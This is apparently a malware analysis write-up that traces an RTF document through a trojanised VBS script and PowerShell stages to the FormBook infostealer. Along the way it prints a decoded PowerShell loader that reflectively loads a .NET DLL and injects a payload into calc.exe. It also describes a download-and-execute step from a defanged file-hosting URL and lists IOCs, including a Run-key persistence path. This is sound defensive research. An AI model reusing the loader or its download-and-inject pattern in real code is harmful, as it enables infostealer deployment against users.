A FormBook Matryoshka
๐Ÿช†

A FormBook Matryoshka

๐Ÿ“… [ Archival Date ]
Sep 26, 2022 9:59 PM
๐Ÿท๏ธ [ Tags ]
MaldocWindows
โœ๏ธ [ Author ]
dodo-sec

A FormBook Matryoshka

To those unfamiliar, a matryoshka is a set of Russian dolls of reducing size, where one fits inside the other. These things:

image

A "malware matryoshka" refers to a sample that has many stages taking place before the final payload is triggered. This analysis will tackle a malicious RTF document that spreads the FormBook infostealer and fits this description quite well.

RTF Maldoc

The first stage is a maldoc. For those that wish to follow along, the file is available on Malware Bazaar (f443d54ed21c034b61c6e71a4f4705f33684d36b5784aa997461a88e99dc5202). We have two main options when tackling RTF files: either go with Didier Stevens' rtfdump.py or with rtfobj.py from oletools. The second tool provides a more user friendly output and is used with the syntax rtfobj [FILE]:

image

There are two embedded objects, the first of which is a vbs script. RTF files do not support VBA macros, so embedding the script is a common alternative employed by attackers. The command to save the object to disk is rtfobj -s 0 f443d54ed21c034b61c6e71a4f4705f33684d36b5784aa997461a88e99dc5202.

Client.vbs

Let's inspect the contents of the embedded vbs file through Notepad++:

image

Slmgr.vbs is an official Microsoft script for Volume Activation (available here) and it's long. Client.vbs is 2063 lines long, only around 300 of which are malicious.

At line 1779 we find the first hint of something suspicious. Variables and function names starting at this line are long and nonsensical; there are also reversed strings all around.

image

Since string reversing is incredibly common in maldocs, the presence of the StrReverse method in code is sure to raise suspicion. To avoid this, many authors create their own implementations of a string reversing function. In this particular case, it's E0x8C0x9A0x1A0xDE0xB90x3F0x34().

Another common obfuscation tactic is deploying hex strings. On this script, the function Hex0x8C0x9A0x1A0xDE0xB90x3F0x34() is responsible for translating hex back into ascii. Note also the similarity between the string reverse function name - E0x8C0x9A0x1A0xDE0xB90x3F0x34- and this one. Both carry the sufix 0x8C0x9A0x1A0xDE0xB90x3F0x34. There is no reason for this except obfuscation/being annoying. Anyway, here is the hex obfuscation in practice:

image

And here is the same function after we clean it up a bit:

image

These two tactics answer for most of the obfuscation in the script. I'll leave fully translating it as an exercise for the reader, since we have quite a few steps to go before reaching FormBook. Let's take a look at another function, which I've already deobfuscated:

Spawning Powershell with a command line, part of which is readable and clearly related to network requests:

image

$w = 'GET /index.html HTTP/1.1rnHost: $prnMozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Further along we have a series of decimal values assigned to $TERIS6WJS0F1100C1S1YI2V3YXGJH0611EG9TGS14H98DMSB60G12021THS1B3I. Time to use Powershell to deobfuscate Powershell.

Powershell Commands

The series of decimal characters are passed to the method ASCII.GetString. To decode it, all we need to do is run this in Powershell itself.

image

First there's a simple connection test done by pinging google.com. Then we get the destination of our GET request: hxxps://s8[.]krakenfiles[.]com/uploads/31-08-2022/b1yw0q6Hai/image[.]jpg. The response is decoded from base64 ([Convert]::'FromBase64String'()) and the result is executed via invoke-expression. Let's curl that address and take a look at the decoded response.

Base64 decoded payload

Here's what we get by decoding the response from krakenfiles:

Write-Host "************************************************************************************************************************"
Write-Host "************************************************************************************************************************"
Write-Host "************************************************************************************************************************"
Write-Host "************************************************************************************************************************"
function randomize_va_space {
 [CmdletBinding()]
 Param ([bYte[]] $0xfffff9e6byteARRay)
 Process {
 $0xbffff8aa0iNput = New-Object syStEm.IO.mEmOrYstReAm( , $0xfffff9e6byteARRay )
 $0xb7fcc000ouTPut = New-Object syStEm.IO.mEmOrYstReAm
 $0xbffff290Q = New-Object syStEm.IO.coMpReSsIoN.gZIpStrEaM $0xbffff8aa0iNput, ([IO.coMpReSsIoN.coMpReSsIoNmoDe]::deCoMpResS)
 $0x41414141L = New-Object bYtE[](1024)
 while($tRUe){
 $0xb7fce17cReAd = $0xbffff290Q.Read($0x41414141L, 0, 1024)
 if ($0xb7fce17cReAd -lE 0){BReaK}
 $0xb7fcc000ouTPut.Write($0x41414141L, 0, $0xb7fce17cReAd)
 }
 [bYte[]] $0x10282ouT = $0xb7fcc000ouTPut.ToaRRaY()
 Write-Output $0x10282ouT
 }
}
Write-Host "************************************************************************************************************************"
Write-Host "************************************************************************************************************************"
Write-Host "************************************************************************************************************************"
Write-Host "************************************************************************************************************************"
$1171110061Server='REX'.replace('R','I');sal g $1171110061Server;[Byte[]]$PROCESS_INFORMATION=('%1F,%8B,[...],%00'.replace('%','0x'))| g;
[bYte[]]$decompressedByteArray = randomize_va_space $PROCESS_INFORMATION
[Byte[]]$605917880Register=('%4D,%5A,[...],%00'.replace('%','0x'))| g
$t=[System.Reflection.Assembly]::Load($decompressedByteArray)
[ActivationClient]::ActiveSyncProvider('calc.exe',$605917880Register)

I've omitted most of the byte arrays because they're quite big. We're finally in the homestretch.

Making sense of byte arrays

Both arrays contain a replace function, replace('%','0x'). The $PROCESS_INFORMATION array is then passed as a parameter to the randomize_va_space function, with the result being assigned to $decompressedByteArray.

[bYte[]]$decompressedByteArray = randomize_va_space $PROCESS_INFORMATION

Looking at the function itself, the memory stream $0xbffff8aa0iNput receives the $PROCESS_INFORMATION array. It's then gzip decompressed and assigned to $0xbffff290Q. For some reason I couldn't get Cyberchef to gunzip the contents of that byte array. My solution was creating a ps1 script by copying the Powershell code all the way to the decompressed array being assigned to $decompressedByteArray and ending it with [io.file]::WriteAllBytes('C:\Users\WDAGUtilityAccount\Desktop\decompressedarray',$decompressedByteArray). After running it I was presented with a .NET dll named CryptoWinRT (52f127241564cff0e09f80e224f43307e991b6cc0a87f1d7d1f4c240a44dc858).

I'm not reversing it at this time, but some YARA hits suggest this dll could be used for injecting code into another process:

image

This is further suggested by the last two lines from the decoded Powershell command:

$t=[System.Reflection.Assembly]::Load($decompressedByteArray)
[ActivationClient]::ActiveSyncProvider('calc.exe',$605917880Register))

All that's left is the second byte array, $605917880Register. Its beginning ('%4D,%5A') suggests an executable. Replacethe percentage sign with 0x, save it to disk and...

image

The final payload. Finally.

IOCs

Internet

hxxps://s8[.]krakenfiles[.]com/uploads/31-08-2022/b1yw0q6Hai/image[.]jpg 188[.]114[.]96[.]0:443

Request example:

GET /uploads/31-08-2022/b1yw0q6Hai/image.jpg HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: s8.krakenfiles.com
Connection: Keep-Alive

User-agents:

Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)

Persistence

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\RtkAudUService64\%LOCALAPPDATA%\microsoft\windows\caches\client.vbs

Files

Temporary location: %TEMP%\client.vbs

Persistent location: %LOCALAPPDATA%\microsoft\windows\caches\client.vbs

ATTENTION - THE FOLLOWING FILES ARE MEMORY ONLY

Emulation